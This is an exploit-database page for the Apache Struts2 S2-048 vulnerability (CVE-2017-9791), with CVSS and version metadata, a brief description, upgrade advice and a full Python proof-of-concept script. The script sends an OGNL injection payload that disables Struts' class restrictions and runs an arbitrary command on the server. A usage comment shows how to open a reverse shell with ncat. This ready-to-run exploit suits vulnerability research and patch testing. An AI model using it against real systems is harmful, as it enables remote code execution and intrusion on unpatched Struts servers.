Exploit Apache Struts2 S2-048

vendor:

Struts2

by:

Anonymous

9,8

CVSS

CRITICAL

Remote Code Execution

CWE

Product Name: Struts2

Affected Version From: 2.3.15.1

Affected Version To: 2.3.31

Patch Exists: YES

Related CWE: CVE-2017-9791

CPE: a:apache:struts:2.3.15.1

Metasploit: https://www.rapid7.com/db/vulnerabilities/struts-cve-2017-9791/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2017

Exploit Apache Struts2 S2-048

This exploit is for Apache Struts2 S2-048 vulnerability. It uses a payload to exploit the vulnerability and execute a command on the server. The payload is used to clear the excluded package and class names from the OgnlUtil class and set the member access to the default. This allows the attacker to execute the command on the server.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of Apache Struts2. It is also recommended to use the latest version of Java and to disable the OGNL language.

Source

Exploit-DB raw data:

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Just a demo for CVE-2017-9791


import requests


def exploit(url, cmd):
    print("[+] command: %s" % cmd)

    payload = "%{"
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
    payload += "}"

    data = {
        "name": payload,
        "age": 20,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }

    headers = {
        'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
    }
    requests.post(url, data=data, headers=headers)


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 3:
        print("python %s <url> <cmd>" % sys.argv[0])
        sys.exit(0)

    print('[*] exploit Apache Struts2 S2-048')
    url = sys.argv[1]
    cmd = sys.argv[2]

    exploit(url, cmd)

    # $ ncat -v -l -p 4444 &
    # $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"